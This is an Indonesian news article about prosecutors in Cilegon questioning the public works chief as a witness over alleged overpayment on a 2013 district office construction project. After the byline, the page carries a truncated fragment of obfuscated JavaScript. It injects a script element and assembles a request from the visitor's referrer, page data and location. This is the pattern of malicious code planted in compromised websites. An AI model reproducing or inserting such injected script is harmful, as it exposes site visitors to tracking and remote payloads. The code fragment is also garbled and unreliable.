Cilegon – Kepala Dinas Pekerjaan Umum (DPU) Kota Cilegon Nana Sulaksana diperiksa Kejaksaan Negeri Cilegon terkait kasus dugaan korupsi proyek pembangunan dan rehab gedung Kantor Kecamatan Ciwandan pada tahun 2013 lalu senilai Rp 4,2 miliar melalui Anggara Pendapatan Belanja Daerah (APBD) Kota Cilegon.
Kasus tersebut ditangani Kejaksaan berdasarkan hasil audit BPK yang menyebutkan adanya kelebihan pembayaran yang dilakukan oleh DPU kepada pelaksana proyek PT Wijayandaru Utama sebesar Rp200 juta. Dalam proses pembangunannya, pelaksana hanya menyelesaikan sekitar 40 persen pekerjaan hingga batas waktu pekerjaan berakhir. Namun DPU justru membayarkan hasil fisik pekerjaan itu sekira 70 persen dari nilai anggaran pekerjaan.
Jaksa Pratama Kejari Cilegon, R Timur Ibnu Rudianto mengatakan, pemeriksaan terhadap kepala DPU Cilegon masihA� sebatas saksi. “Saat ini masih dalam tahap pulbaket (pengumpulan barang bukti dan keterangan) saat ini masih sebagai saksi,” katanya singkat, Kamis, 3 Maret 2016.
Sementara itu, Kepala DPU Cilegon, Nana Sulaksana membenarkan adanya pemeriksaan terhadap dirinya dalam kasus dugaan mark up pembangunan kantor kecamatan Ciwandan. “Saya cuma dimintai keterangan saja,” katanya.
Menurut Nana, pembangunan kantor kecamatan Ciwandan itu tidaklah bermasalah. Namun dalam proses pembangunannya hanya mengalami sedikit hambatan dalam proses pembangunan yang mengakibatkan terjadinya keterlambatan penyelesaian pembangunan. “Pembangunan gedung itu memang rencananya selesai ditahun 2014. Cuma kita mengalami sedikit keterlambatan karena ada pemindahan arsip kecamatan. Tapi kan itu sudah selesai pembangunannya,” ujarnya. (Nur/Sie) (_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}













